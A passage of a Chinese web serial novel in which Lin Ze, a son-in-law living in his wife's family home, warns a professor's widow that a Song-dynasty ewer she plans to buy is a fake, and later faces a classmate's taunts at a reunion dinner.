唐若涵拿起一本,翻开封面,上面是赵教授的字迹“鉴定心得。” 唐若涵惊讶,“师母,这些东西太贵重了,我不能要。” “这本来就是留给你的,这是你师傅生前整理出来的,我这么做,也是为了完成他的遗愿。” 唐若涵心中五味杂陈,手上的笔记本瞬间沉重了很多。 重新将笔记本放好,唐若涵这才点头。 “好了,这第一件事已经完成了,你们先坐下喝口茶,”老太太看了一下墙上的钟表,“时间差不多了,那两位重要的人也快来了。” “重要的人,师母,是谁啊?” 吴庸面露疑惑,问话的同时,眼睛本能地看向了门口。 能让赵夫人被称为重要的人的,可不多见。 “是两个我想要感谢的人,按时间来算,应该马上就来。” 话音刚落。 门外突然传来一阵敲门声。 “来了。” 老太太整理了一下衣服,亲自朝门口走去。 唐若涵和吴庸相互看了一眼,同时好奇起来。 门被打开。 随后,张军的声音传来。 “赵夫人,不好意思,路上堵车了,我们没来晚吧?” “没有,张队长,林先生,快请进!” 老太太伸手做出了请的姿势,张军摆手说道:“赵夫人不必这么客气,”随后看向身后,“林泽,进来啊。” 林泽? 唐若涵呼吸瞬间收紧,目光当中满是不可置信。 眼看着林泽跟张军一块儿走进屋,她依旧没有反应过来。 师母嘴里说的重要的人。 竟然是……林泽! 唐若涵记得,当初在这里,她是有见过林泽的。 可是,破案的不是东海市公安局吗? 怎么林泽反倒成了重要的人了? 同一时间。 吴庸的心,像是被什么东西狠狠地捏了一把! 真是冤家路窄! 林泽,没想到,我们竟然又在这里遇上了! 震惊的同时,吴庸悄悄握了握拳头。 “林先生,张队长,谢谢你们能挤出时间过来,我来介绍,这位是小周,是我老伴的助理,你们之前见过的。” “这两位,都是我老伴以前的学生,这位是唐若涵,这位是吴庸。” “赵夫人,您不必如此客气,赵教授的两个学生,我们都认识,而且,还郑重地见过面。” 看看吴庸,张军又看了看吴庸身边的唐若涵,脸瞬间拉下来。 最后一句话说出来时,明显地提高了音调。 第35章 你个傻球,你咋不吹上天! 看到吴庸,张军瞬间想起他那日的嘴脸。 况且,现在他又和唐若涵在一起,张军怎么想怎么不舒服。 兄弟的老婆他都琢磨,还给他好脸色?做梦! 老太太没有察觉到张军的异样,接着话茬说:“既然你们都认识,那就是熟人了,快别在这里站着了。” 老太太很热情,屋子里的气氛却有些尴尬。 唐若涵的目光停在林泽脸上片刻,这才收回。 正常的工作时间没有在集团,她却跟吴庸在一起,但是,他们是一块来看望师母的,这……应该能说得过去吧? 理由虽然牵强,可办的却是正事。 张军看看唐若涵和吴庸,接着转头看向林泽。 周平方的笑容略显僵硬,毕竟,上一次,因为赵教授的事情,他跟张军闹得有些不愉快。 而林泽。 脑海当中闪过的,是昨天被记者围了一圈的画面。 谁都没说话,心思也各有不同。 “师母,这是您说的重要的人?” 吴庸首先打断沉默,眼睛还朝着林泽那边这边扫了一下。 “对,老赵的事情,多亏了张队长跟林先生,是他们辛苦破案,人才会被抓住,文物也被追回,老赵在九泉之下也能瞑目了。” 老太太眼眶泛红,脸上却有了些许欣慰。 “破案?林泽会破案?” 吴庸的声音当中充满不可置信,整张脸上都写满疑惑。 张军是警察局的,上次见到他时,他还穿着警服。 警察会破案,天经地义。 可是。 林泽什么时候会破案的? 他一个村子里出来的土包子,还会破案? 此刻。 站在吴庸身边的唐若涵,脸上也是不解之色。 “林泽,你会这些?” 没等林泽开口说话,张军直接冷哼一声。 “唐女士,你是林泽的妻子,对他这么不了解吗?” “这……” 唐若涵语塞,不知道该怎么回答。 气氛再一次陷入尴尬。 林泽表情平静,口吻平淡。 “我只不过提了几点建议,也都是凑巧的,都是警察同志的努力。” “林泽,功劳就是你的,你别往我们身上推。” 张军表示不同意。 旁边,老太太端着一盘水果急忙走过来。 “林先生,如果没有你提的建议,估计到现在都破不了案,前几天,我每天都去警局,案情僵持到什么程度,我可是知道的。” “如果没有你发现关键的线索,说不定,凶手到现在都抓不住,更不要提那文物了。” “林先生,老赵的事,真的太感谢你了。” 老太太放好水果盘,当众对着林泽鞠了个躬。 林泽急忙伸手将他扶住。 “赵夫人,您别客气,这些都是我们应该做的。” 跟老太太说话的时候,林泽非常礼貌,声音也很柔和。 看到面前这副情形,唐若涵心中五味杂陈。 跟林泽相处三年,自己竟对他一无所知。 师母对他如此感激。 前几日,沈先生对他毕恭毕敬。 而她,却只把林泽当成一无是处的保姆,佣人。 刚才,老太太的一番话让唐若涵无比震撼。 东海市重大案件的破获,关键点竟然在于林泽。 这……让人太不可置信了。 那些专业人员都无法做到的事情,林泽是怎么做到的? “林先生可真是个人才!”吴庸突然提高声音,笑容当中也多了一丝意味深长,“我们都觉得,你只会洗衣做饭什么的,没想到,连破案都会。” 嘲讽完毕,吴庸特意看向老太太:“师母,您不这样讲,我们还真不知道。” “哼,你不知道的事情多着呢!” 张军当即顶回去,接着拿出公文包里的档案袋。 “赵夫人,案子已经结了,这是上次从这儿取走的东西,您看一下有没有什么缺失或损坏?” 老太太听完急忙摆手,“你们办事我放心,不用看。” “还是看一下的好,毕竟赵教授留下的东西非常珍贵,看一下吧。” 张军坚持。 老太太只好边打开文件夹,边又招呼周平方过来,“小周,你来看看。” “好的,师母。” 周平方赶紧上前,认真检查起档案袋的手稿。 老太太看了一下众人,再次示意大家坐下。 “都坐下吧,这里也没有外人,若涵,这次把你找过来,主要是,有一件事情要跟你们商量。” “小周是助理,跟着老赵好几年,你跟吴庸又都是老赵的学生,正好,现在张警官跟林先生都在,你们也能帮我出个主意。” “之前,老赵一直想购买一件老物件,但一直没定下来,接着就出了博物馆的事。” “现在,对方又开始联系,我想完成老赵的遗愿,可心里又没有底,想让你们帮忙看看。” 老太太的话说得非常郑重。 所有人的目光都停在老太太的脸上。 “购买老物件?”吴庸边摇头边开口:“真是的,这件事情都怪我,如果我能早些回来,说不定,还能帮着师傅亲自将这件事情完成,他老人家也不会留遗憾。” “吴庸,你在说什么?” 唐若涵一头雾水。 吴庸看向唐若涵,声音也跟着提高。 “小涵,这件事情忘记告诉你了,我回来之前,已经开始进行资源整合,除了现在名下的集团以外,我还有另外一个公司。” “公司的经营范围,就是鉴别古董。” “我们公司的团队都是专业人员,有着丰富的经验,设备也是一流的,在古董鉴别方面,很有权威性。” 老太太听闻,脸上露出惊讶之色。 “是吗?要把那些专业人员聚集到一块,可不容易。” 唐若涵也表示疑惑。 “吴庸,上学的时候,你学的也不是这个专业,你是怎么想到开这种公司的?” 吴庸笑笑,语气极为轻松。 “人嘛,不就是活到老学到老,书海无涯,唯有探索。” “我虽然学的不是这个专业,但我相信,只要肯努力,终会有结果。” “而功夫不负有心人,我也确实做到了这一点。” 望着众人将信将疑的目光,吴庸依旧非常得意。 实际上。 他名下的那一家文物鉴定中心,全都是新人,几乎没有任何鉴别经验。 成立鉴定中心,也不是他想出来的。 之所以这样做,完全是幕后支持者的意思。 鉴定中心接触到的老物件多,而且,里面还有很多油水。 只有方法“得当”,还能接触到一些见不得光的职业。 这利润……非同凡响。 但这也都是其次,最终目的是要办老板交代的那件事情。 吴庸说话的时候,林泽脸上看不出任何波动。 张军却早就在心里嘀咕。 吴庸,你个傻球,你咋不吹上天! 第36章 你在质疑谁? 吴庸还想要说什么,张军突然出声。 “这么厉害啊,那下次再有这种事情,我们可得见识见识。” 虽然说的是客套的话,可张军话语当中却充满否定。 吴庸并不在意,反而顺着张军的话往下说:“下次,你们警局再有什么破不了的案子,可以选择来找我们。” “我倒觉得,你像是马后炮!” 剩下的那句,张军没说出来。 案子破了,你来指点了,这不就是那句“孩子死了,你来奶了”吗! 吴庸脸色瞬间一黑,拿着茶杯的手也抖了一下。 张军却依旧歪着脑袋看向吴庸这边。 感到气氛不对,老太太赶紧转移话题。 “大家都是好心,目的是一样的,关于老赵那件事,我还是想听一下大家的意见。” 话题被重新拉回来,屋子里的气氛这才缓和一些。 “师母,不知道师傅想收购的那个老物件是什么东西?” 唐若涵首先询问。 老太太看了看周平方,“小周,你来说吧。” 周平方立刻上前,先是对着众人点了点头,随后才娓娓道来。 “前段时间,赵教授找到了一件遗失的老物件,是北宋制品。” “老物件是登封窑,工艺非常独特。” “关于登封窑的工艺特点,赵教授也曾经跟我讲过一些,在制作的时候,那些工匠会在坯体的上面吃上一层白色的化妆土。” “然后,在化妆土的土层上刻出轮廓。” “在将花纹轮廓外面的化妆土剔掉,直到露出深色胎体,再罩上透明釉,然后烧制。” “这种制作工艺能够让花纹凸显,用来增加立体感和装饰性。” 周平方讲得非常细致,众人也一脸认真。 林泽微微皱眉。 周平方讲的登封窑的烧制工艺,的确跟档案库当中的记载没有什么差别。 这,确实是登封窑的烧制特点。 因为有了那一层化妆土跟深色地胎的做对比,所做出来的图案会非常明显,对比是比较强烈的。 而跟其他的胎土比起来,登封窑胎土会显得粗糙一些,所以,需要施上一层化妆土。 这也成为了登封窑独特的艺术风格。 旁边。 唐若涵跟吴庸都在思索着什么。 张军对文物方面没有研究,却也表现出了极大的尊重。 “那老物件是真的还是假的,要卖多少钱?” 吴庸突然问出突兀的一句。 瞬间。 在场的人,目光都看向吴庸这边。 似乎是感觉到了不对劲,吴庸尴尬地挤出了一丝笑容。 “不好意思,我急于想知道结果,你继续。” 周平方被打断以后,也开始顺着吴庸的话题走。 “最后一次商谈价格,是在350万左右。” 话一说出来。 吴庸的心里紧了一下子。 林泽心中却是波澜不惊。 北宋制品,登封窑,如果不是仿品,价格也就在这个价位左右。 不算高,却也不低。 这时。 老太太接上了周平方的话茬。 “老赵在世的时候没有办成这件事情,我的心里始终放不下,按理说,我应该完成他的遗愿,可现在有一个问题。” “我没有见过这个老物件,对于它的真正价值也不清楚。” “所以找你们过来,想商量一下,这件事情该不该继续?” “嘎吱——” 周平方坐的椅子晃动了一下。 “师母,之前我跟赵教授一块儿看过那件藏品,赵教授说,不是仿制的,是真的。” “这两天接电话的时候,对方说,价格上还能商量,但是时间有点紧。” “因为看中这个物件的,并不只是我们一家,所以,想让在这两天给个确切的答复。” 说完。 周平方用询问的眼神看向老太太。 老太太的眉头又皱了皱,脸上再次露出犹豫不决的表情。 “钱倒不是问题,刚才我也说了,我不知道那个物件的真正价值,这也是纠结的原因。” 微微叹气过后,老太太看看唐若涵这边。 “若涵,我想让你帮着出个主意。” 唐若涵眼眸一紧,瞬间觉得肩上的担子重了起来。 这是老师的遗愿,自然是要完成的。 先不说350万是不是小数目,可若是买到了仿品,损失钱是小事,重要的是,她无颜面对九泉之下的恩师。 “这件事情好办,师母,你不用着急,哪天有时间了,我带着团队去鉴定一下那老物件,买或者不买不就定下来了吗?” 吴庸直直地看向老太太,跟着还补充道,“我的鉴定团队是非常专业的,全都是专家。” 老太太刚想答应,林泽突然咳嗽了一声。 吴庸把话说完,房间里立刻静下来。 这声咳嗽,众人听得就非常清晰。 老太太急忙看向林泽这边。 “林先生,您是有什么话要说吗?” “老夫人,我想问一下,赵教授看中的那件北宋制品,叫什么?” 老太太一听恍然大悟,伸手摸了一下脑门。 “看我,最近发生的事情太多,我都糊涂了,那老物件叫登封窑,白釉,剔花执壶。” 此话一出。 林泽心脏骤然收紧! 半塌的破旧房间,窗户纸哗啦哗啦响。 疯狂撕扯的男女…… 脑海当中闪过这些画面,林泽的手也一点点握紧。 “林先生?” 老太太的声音再次响起,林泽这才收回思绪。 抬眼看向面前的周平方,林泽的声音变得郑重。 “周助理,你们最后一次见那件北宋的制品,是在什么时候?” 周平方一愣,跟着眨巴了下眼睛。 “最后一次嘛,是在……赵教授出事的前两天,对,就是那个时候,跟着赵教授一块去的。” 周平方被问得云里雾里,可还是给出了确切的时间。 林泽想了一下档案库上标注的日期,眉头皱成一团。 按照时间推算。 赵教授所见的那个北宋制品,绝对是赝品! 因为,在此之前,真正的登封窑白釉剔花之壶,早已经被那女人给摔了! “赵夫人,如果你相信我,那这个老物件,还是不要收藏了!” 老太太疑惑地望着林泽。 “林先生,这是……有什么说法吗?” “如果我猜测的没有错,那件登封窑白釉剔花执壶,是假的!” “不可能!”周平方猛地站起身,声音跟着提高了好几个度,“你不要胡说八道,东西你都没有见过,凭什么说是假的?” “我跟师傅一块联系的,你这么说,到底是在怀疑谁?” “你在质疑我师傅的眼光吗!他可是东海市的鉴定专家!” 周平方声音嘶哑,通红的双目当中,满是怒火! 第一卷 第37章 他就是个牲口,太缺德了! “周平方,那么着急干什么?像是谁踩了你的尾巴一样。” 张军脸上露出明显的不悦,说话也变得难听起来。 周平方猛地打了个哆嗦,急忙辩解。 “张警官,不是我着急,林先生说的话太侮辱人了!” “我师傅刚走,他就说我师傅看上的老物件是假货,这谁能受得了?” “我跟了师傅这么多年,他老人家就像我的父亲一样,我绝对不允许有人这样污蔑他!” 林泽表情平静,语气依旧平淡。 “我没有污蔑任何人。” “你算了吧,林泽,你也太能装了,东西你都没有见过,就说是假的,这不是污蔑,这是什么?” 吴庸直接站起身,伸出食指指向林泽。 “别以为你提供点线索,说起话来就可以口无遮拦,文物鉴定方面,你懂多少?” “我们的恩师不可能有看走眼的时候!” 吴庸坚定地站在了周平方那一队。 不为别的,就因为,此刻,周平方是林泽的对立面。 有句话说得好。 敌人的敌人就是朋友。 现在,吴庸已经把周平方看成了自己的盟友。 而且有人帮着自己说话,周平方脸上露出痛心疾首的表情。 “林先生,刚才是我太冲动了,可你说这种没有根据的话,确实让我难以接受。” “师傅曾经说过,那件北宋的登封窑,白釉剔花执壶,收藏价值极高,在这世上仅存一件。” “我相信师傅的眼光,也敬佩他对文物的一腔热忱,所以才极力想完成师傅的遗愿,希望你能理解我的心情。” 再次开口。 周平方已经不像刚才那样冲动,话语当中,全是对赵教授的缅怀以及依依不舍。 旁边。 老太太眼睛也红红的,可很快又冷静下来。 重新看向林泽,老太太目光当中闪出坚定之色。 “林先生,您能不能说一下,为什么说那个是假的?” 林泽点点头。 “北宋,登封窑白釉剔花执壶,收藏价值确实很高,但是世上已经再无此物,因为珍品已经被毁了。” 此话一出。 周平方瞬间愣住! 吴庸直接炸锅! “林泽,你敢不敢对你说的话负责任!你说这东西被毁了,那我恩师看到的是什么?” “你可以不懂,但不要在这里胡搅蛮缠!” 吴庸低吼出声,脸上满是嘲讽。 张军立刻站起身,伸手将他的胳膊推向一旁。 “说话就说话,少在这里指指点点!” 吴庸被推了一个趔趄,当场恼羞成怒,刚站直身体,又重新伸出胳膊。 “你要干嘛,别仗着你是警察就可以随便动手,信不信我告你!” 张军脸色一变。 “好啊,如果你继续保持这个动作,信不信我告你袭警!” 两个人针锋相对,似乎眨眼的功夫就能打起来。 老太太见状,急忙站起身,一下子挡在张军跟前。 “吴庸,你对张警官太不礼貌了!” 唐若涵也赶紧拉住吴庸的胳膊,小声的说了句,“有话好好说,干嘛要闹成这个样子?” 看到这副情形,林泽一阵无语。 上前一步走到老太太跟前。 林泽缓缓开口:“赵夫人,弄成这个样子,实在不好意思,刚才的话,你可以当做我没有说过。” 说完,林泽看向张军,“老张,我们走吧!” 张军当即转身,直接甩出一句。 “告辞!” 话音未落。 两个人已经快步出门,头都没有回。 老太太一下子愣住。 唐若涵的眉头也皱成一团。 吴庸整理了一下衣服,一脸的没好气。 “这种人,走得越早越好,仗着能够在警局说上两句话,跑到这里指手画脚来了,真没意思!” 说完还不解气,又重新看向唐若涵。 “小涵,林泽这种人太高傲自大,连赵教授都质疑,根本没有自知之明!” 唐若涵看看门口,再看看剩下的人,一时间也不知道该说什么才好。 周平方来到老太太跟前,“师母,吴先生说得对,我看,那个姓林的这么着急离开,肯定是心虚了。” “招摇撞骗,看到事情不妙就赶紧跑,这是那些江湖骗子的一贯套路!” 老太太眉头始终不曾舒展开来。 在老伴的事情上,可以说,张军和林泽是他们的恩人。 无论如何,也不能把林泽跟江湖骗子联系在一起。 本来想着让大家在一块儿吃一顿饭,可看看现在,肯定是不行了。 无奈地叹了一口气,老太太一脸疲惫。 “小周,你维护你师傅,我能理解,但江湖骗子这种话,以后不许说了。” 周平方赶紧点头,“我知道了,师母,以后一定会注意的。 “好了,北宋的那个老物件,先别提了,这件事情先缓一缓。” “师母,可那边催得急,如果咱们不给确切消息的话,人家可要出手了。” 说话间,周平方目光闪烁,额头上都急出了汗。 老太太依旧眉头紧蹙。 “如果真是那样,也只能证明他跟老赵无缘,先这样吧。” 周平方擦了一把额头上的汗,还想要说什么,最终还是闭上了嘴巴。 吴庸看看周平方,嘴角多了一丝意味深长。 此刻。 唐若涵的目光一直停在老太太的身上,并没有察觉到这边的异样。 突然。 吴庸的眼中闪过一丝亮光。 “师母,我倒是有个主意,不如,让我的鉴定团队去看看那个物件,或许他们能够给出一些意见。” 说话时。 吴庸专门朝周平方看了看。 果然。 周平方的喉结动了动。 像是很艰难的咽了一口口水。 老太太点点头,“也好,那就找个时间,去看看吧。” “好的师母,这件事情听您的。” …… 刚上车。 张军就掏出烟。 像往常一样,先抽出一根递给林泽,随后他也拿了一根。 林泽拿起打火机,当场点燃。 猛抽一口后,习惯性地把烟送到张军跟前。 张军对了火,也跟着抽起来。 几口下去,张军突然骂了一句。 “妈的,吴庸真是个牲口!太他妈缺德了!” 林泽目视前方。 “张警官,好好说话,注意你的言辞。” “我早就看他不顺眼了,要不是时刻提醒我还是一名警察,我非得把他打趴下!这个不要脸的货,分明就是故意的!” 林泽没有接上张军的话茬,而是反问了一句。 “你不觉得,周平方有问题吗?” 此话一出。 张军眼眸瞬间收缩! 第一卷 第38章 别回去了,咱们喝点儿。 “几个意思?老林,把话说清楚!” 张军手按在方向盘上,头却看向林泽。 “把头正过去,别养这毛病,回头开车的时候会出事!” 先是提醒张军,接着林泽才说出他的直觉。 “周平方一直在说,想要完成赵教授的遗愿,实际上,他更想让赵夫人把那件北宋的制品买下来。” 张军皱皱眉头,仔细回想了一下刚才周平方的表现。 “你还别说,好像还真是这样,他一边肯定那个老物件,一边给老太太加压,还说什么,如果定不下来人家就给别人了。” “这不是那些商铺老板最喜欢用的伎俩吗?” 眼看着手里的烟要灭,张军又抽了两口。 可抽太急,一下子呛住了。 “咳咳咳!” 猛地咳嗽两声,这才缓过劲。 “算了,我们不能左右所有的事情,该说的已经说了,至于接下来的事,听天由命吧!” 林泽不想再继续这个话题。 对于赵教授的事情,也不想过多地参与。 说得不好听一些。 自己这边都是一团乱,又哪有心情去干预别人的因果? 话,点到为止,已经可以了。 张军也没继续,抬腕看了看表,接着又看向林泽。 “中午别回去了,咱们喝点?” 林泽挑眉。 “你今天不忙?” “今天的事就是把资料送回去,这不已经办成了吗,怎么样?去不去?” 林泽拿起手机,直接点开消息编辑框。 “我……先问一下。” 张军撇撇嘴,将胳膊担在警车窗户上。 “行吧,我也不埋汰你了,听你这话,我就知道是怎么回事,你得问问你那老婆是什么意思,是不是?” 林泽没说话。 现在还没离婚,合约期内,条款肯定是要遵守的。 不然。 那么多的违约金,谁赔得起? “唐总,今天中午请个假,可以吗?” 消息发出去以后。 林泽一直盯着手机屏幕。 很快。 唐若涵给出了答复。 “行,我也晚上回去。” 简简单单一句话,一下午的时间都挤出来了。 林泽吁了一口气。 “走吧!” 张军立刻来了精神,“这么快,那我再叫上几个?” “随你便。” “那行,我把耗子他们也叫上。” 说完,张军开始打电话联系人。 林泽在看吐出来的烟雾。 那专注的神情,仿佛在看什么艺术品。 周浩,张军,马小阳,还有大学时经常在一起玩的一群人,这个时候好像都走散了。 自从跟唐若涵结婚以后,除了张军以外,他好像跟所有人都断了联系。 现在听到张军说耗子,林泽心中也是一阵感慨。 这三年里,日子过得很慢,仿佛每一天都是煎熬。 可时间又很快,眨眼的功夫,都已经三年不见了。 记得上次聚在一起,还是南希出国前,几个男生喝多了,搂在一块儿哭得稀里哗啦。 马小阳,南希……那些熟悉又陌生的面孔,逐一在林泽脑子里闪过。 “行了,今天也是凑巧,耗子跟马小阳他们都在,咱们也算吃个团圆饭,走起!” 张军咧开嘴笑,手一撵将烟头弹出,当即发动汽车。 “怎么都聚到一块了?”林泽淡淡问出一句。 “谁知道,没说清楚,听说我请客,一下子变得热闹起来,刚才电话里乱哄哄的,具体都有谁我都没听出来。” 林泽嘴角露出笑意。 “分开这么长时间,大家都还挺热情。” “什么热情,都说我升官了,心里不平衡,说什么也得让我请一顿。” 张军说完笑出声音。 看张军高兴成这样,林泽想到他说过的话。 一进警局,全身的弦都绷起来了,只有跟哥们在一块的时候,才能放下紧绷的情绪。 拐弯后,遇到红灯。 张军停下车,转头看向林泽。 “老林,这顿饭不算,咱就是平常小聚,回头我得单独、好好地请你,你就是我命中的贵人啊!” 林泽笑笑。 “你这么说,可真是言重了。” “这是实话实说,如果没你,我哪能升到队长的位置?” 说完。 张军又说了几句关于博物馆的案子。 林泽一直认真地听着,偶尔也发表一下意见。 十几分钟后。 车子停在市中心的商业街。 “紫燕饭店,就这儿了!” 紫燕饭店是东海一家很传统的饭店,据说经营的时间达百年之久,菜品独有特色,价格公道。 张军一进饭店就往二楼走。 “饭店早就定好了?” “那帮家伙一点都不客气,听说我请客,不光选好饭店,包间都订好了!” 张军无语又无奈,但是脸上一直带着笑容。 两个人边走边聊,最终,201包间门口。 包间很热闹,隔着房门就能听到喧闹声。 张军推开门,“大伙挺高兴啊!” 话音没落,众人的目光便看向这边。 “老张,老张,可算来了,我们正讨论你呢!” 说话的人身材魁梧,声音洪亮,刚一开口,便急忙站起身。 “耗子,可不能再叫老张了,人家现在是队长,应该叫张警官,叫阿sir。” 旁边一个平头提醒,周浩不好意思地摸了摸脑袋,“对,不能再叫老张了,对警官不尊重!” 说完,周浩热情地伸出双手,对着张军的手就是一阵猛摇。 “张队长,请原谅小人的不敬之罪!” “哈哈哈哈……” 在场的人全都笑起来。 张军也哭笑不得。 “耗子,三年不见都变得五大三粗了,再这么下去,你这只老鼠就要被猫盯上了!” 面对张军的调侃,周浩也不生气,反而像大学时期那样做了个鬼脸。 房间里的气氛一下子被烘托起来。 众人又是一阵笑声。 “林泽,你真过来了啊?刚才我还说,林泽就像消失了一样,哪怕是张队长也不见得能把他请过来,”周浩一边说一边转头看向众人,“快点,欢迎我们的校草!” 对面的几个人鼓起掌,林泽有些不好意思。 “大家客气了。” “是啊,都是自家兄弟,别那么生分。” 张军拉着林泽一块儿坐下。 这时。 林泽这才看清楚包间里都有谁。 周浩,大学寝室的舍长,上学的时候又瘦又高,大伙儿经常叫他耗子。 马小阳,寝室里排行老二,毕业以后就去经商,据说现在混得不错。 还有一个是隔壁宿舍的,周磊。 虽然是同班同学,但以前在学校,周磊好像跟他们玩不到一块。 只是不知道为什么,今天他也来了。 第一卷 第39章 拒绝她,就是为了入赘? “话说张队打电话的时候,我们几个刚坐下,这叫来得早,不如来得巧,纯纯的缘分!” 周浩一边倒茶,一边感慨。 “自从毕业以后,大家都有自己的事情要做,要想聚在一块儿,太不容易了。” 张军点头,”是啊,现在已经不是一个人吃饱全家不饿的时候了,不过好不容易聚在一起,咱们得好好喝点儿。” “就等你这句话呢,你现在是升官发财,让兄弟们眼红的不得了,今天,不把你灌醉,绝对不收场!” 马小阳一直没开口,张嘴便是豪言壮语。 张军一下子笑起来,“行啊,这么长时间不见,我也想看看你们的酒量怎么样?我记得,在咱们宿舍里,你是最能喝的吧?” 马小阳伸手捋了一下头发,当即做了个比帅的姿势,“那还用说,这几年哥们也练出来了。” “你不行!” 周磊放下茶杯,直接甩出来一句。 瞬间。 在场的人都愣住,目光全都放在周磊的身上。 这刻意的声音来得太突然,让人有些猝不及防。 林泽也朝周磊那边看了看。 跟上学的时候相比,周磊没有什么变化。 个子不高,五官还算俊秀,短平头,格子衬衫,牛仔裤。 在林泽的记忆当中,他好像一直都是这种穿着。 对人也算和蔼,只是不怎么爱说话。 马小阳怔了怔,努力打破尴尬,“周磊,我怎么就不行了?我觉得,我还可以啊!” 周磊抬头看了看面前的人,接着将目光放在林泽这边。 “要说喝酒,应该是林泽最厉害,南希出国前的那一场聚会,那么多人都喝高了,林泽却很清醒。” 随后,周磊的音调又提高不少。 “而且,林泽贤的养尊处优,嫁到唐家,衣来伸手,饭来张口,平常没事再品品酒,酒量肯定又长了不少。” 话不长,却像打翻了醋坛子,酸得人牙痒痒。 同时。 还带着一股……敌意。 此话一出。 众人都想到了南希出国前的那场聚会。 但关于林泽,更让人震撼的还是那句“嫁到唐家。” 一个男人嫁到女方,那不就是入赘吗? 这话,简直就是照着人心窝子上戳! 张军脸冷下来,手里拿着茶杯,不喝也不放下。 而周磊,还在继续刚才的话题。 “林泽,南希喜欢了你三年,你拒绝了她三年,感情就是奔着唐家的赘婿去的?” “砰!” 一声闷响传出。 紧接着,便是茶盖跟茶杯碰撞的声音。 “周磊,你嘴巴够毒的,这么说有些过分了吧,南希不喜欢你,你别把火气撒到别人身上!” 周磊把话说得如此难听,张军干脆也把当年的事情说明了。 南希对林泽的暗恋几乎已经成了明面上的,而周磊对南希的追求,也是大家公认的事情。 南希爱而不得,周磊频频被拒。 所以他们三个人的关系,也算是三角恋了。 见张军提起往事,周磊皱皱眉头。 “张队,你不能因为跟林泽走得近,说话就有失公允,我说的话虽然难听,却是事实。” “林泽跟唐氏集团的总裁唐若涵结婚,是不是属于高攀?” “林泽结婚以后,一直没有工作,是不是靠唐若涵养着?” “他一直拒绝南希,毕业以后就入赘唐家,要说没有提前找好下家,谁信?” 说到此,周磊冷哼了一声。 “所以,这年头,还是要识时务,什么爱情,什么理想抱负,全都是狗屁,直接走捷径,生活瞬间翻牌!” 不等众人接上话茬,周磊又重新看向林泽。 “林泽,你这是老天爷赏饭吃,有一张俊俏的脸,能入得了这一行!” “周磊,你他妈别乱放屁!胡说什么呢!” 张军一下子站起身,眼睛里都要喷出火。 周磊却歪着脖子看过来,“怎么?张队倒是说说,我哪一句说错了?” 瞬间。 包间里气氛压抑至极,空气如同凝固。 其实,林泽入赘这件事,在同学群,早就已经是公开的秘密。 唐家千金大婚,整个东海都闹得沸沸扬扬,人们又怎么能不知道? 对于这件事情,人们也有不同的看法。 有人觉得林泽是一人得道鸡犬升天,美女入怀,衣食无忧,永远不必再为碎银几两而奔波,简直是直接跨入了人生巅峰。 也有人不看好林泽跟唐若涵,毕竟门不当户不对,即便有了婚姻关系,也不见得能长久。 还有一些人更直接,就等着看他们离婚。 现在,周磊酸溜溜地说出这番话,其中的意味更加深长。 “男未婚女未嫁,人家结婚领证,你炸什么毛?”张军说话越来越难听,“我觉得,你就是被拒绝的次数多了,心里有毛病了吧你!” “再说一遍,把刚才的话,你再说一遍!” 周磊猛地站起身,浑身都在打哆嗦。 眼看要出事,周浩赶紧给张军使眼色,急忙把张军按在椅子上。 “行了,干嘛呢这是,好不容易聚到一块,怎么还吵起来了?” 重重地咳嗽了两声,周浩提高声音。 “今天啊,咱们就是喝酒,感情的事情一律不提,什么结婚什么表白,咱们就此打住!” 既然周浩已经把话说到这份儿上,张军也不好说什么。 周磊也重新坐回原位。 林泽眉头微皱,转头看了一下旁边。 马小阳的眼睛滴溜溜地乱转,确认没有人朝这边看过来,这才将声音压低。 “别提了,周磊这货受刺激了,这不南希要回国了吗,他昨天又表白了一次,又让给拒了。” 林泽瞬间明白。 怪不得周磊像吃了火药一样狂喷自己,原来依旧跟南希有关。 不过。 南希回国,他倒是没有听人说起过。 包间的气氛有所缓和。 这时。 马小阳站起身,努力在脸上挤出了一丝笑容。 “告诉大家一个好消息,咱们的南大校花要回来了,不如今天咱们就说定了,等到南希回来,咱们得好好聚一聚!” 此话一出。 在场的人全都表示赞同。 唯独周磊没有说话。 拿起面前的茶杯,一口气喝了个精光。 张军没好气地甩了个白眼。 真他妈没意思! 半天憋不出个屁,酝酿那么久,原来就等着刚才那一出呢! 人家看不上你,不从自己身上找原因,你埋怨别人干什么? 好好的一顿饭,他们怎么把这货带过来了? 好在林泽这边没什么,倘若真有事,他非得跟周磊干上不行! 张军还在沉思。 其他人已经进入另一个话题。 “林泽,南希要回国,她通知你了吗?” 马小阳嘴一瓢,又提起了不该提的那一壶。 第一卷 第40章 一杯敬升官,一杯敬失恋! 瞬间。 林泽又成了全场的焦点。 周磊的目光,几乎要把林泽戳透。 对于周磊的嘲讽,林泽并没有放在心上。 当初跟唐若涵结婚,比这更犀利的冷嘲热讽他也听过,如果真的去计较,估计他都活不到现在。 对于刚才的那种话语,林泽也习以为常,见怪不怪了。 况且,林泽也没打算跟周磊有什么交集,更懒得跟他浪费时间。 但周浩跟马小阳就不一样。 周浩为人爽朗,热情,大学四年,大家一直相处得不错。 所以对于马小阳的提问,林泽也如实回答。 “我不知道,我没有她的联系方式。” “什么!不是吧,她那么……不是,电话,微信都没有?” 马小阳磕磕绊绊,惊讶得下巴都要掉到地上。 旁边。 周磊脸上也露出疑惑的表情。 南希那么喜欢林泽,林泽居然没有她的联系方式,这……怎么可能? 上下审视林泽一番,周磊越发的不甘心。 谈起南希,林泽表情平静,语气平淡,就像在谈一个不相干的人。 这让自己情何以堪? 就讨厌他那种高高在上,无视于人的感觉! 没等周磊说话,马小阳突然缓过神,“林泽,你不会把南希给删了吧?” “嗯。”林泽抬眼看看马小阳,“感觉以后不会有什么联系,所以就删掉了。” 天呐! 真的是林泽删掉了南希! “咕嘟。” “咕嘟。” 马小阳喉结动了两下,无语地笑起来。 “好,那……就这样吧!” “行了,当初南希说走就走,大家都以为她会在国外发展,没有联系方式了,不也很正常吗,刚才你们有没有点好菜?点菜,饿死了!” 张军有些不耐烦地催促。 周浩急忙拿起菜谱,双手送到张军的面前。 “张队,您升官发财,点菜之大权应该交到你手上。” “行了吧,别埋汰我了,这菜得让林泽点,至于为什么,别问,问就是,我不说。” 说着,张军拿起一旁的笔,“老林,你点菜,我打对勾。” 林泽无语的笑笑。 “耗子爱吃虎皮尖椒,马小阳喜欢吃的是麻辣烤猪蹄,老张,酸菜鱼,再加上个白灼虾吧。” “行啊,林泽,这么长时间不聚了,大伙爱吃什么,你还是记得这么清楚,可以!” 周浩首先伸出大拇指。 马小阳也跟着笑起来。 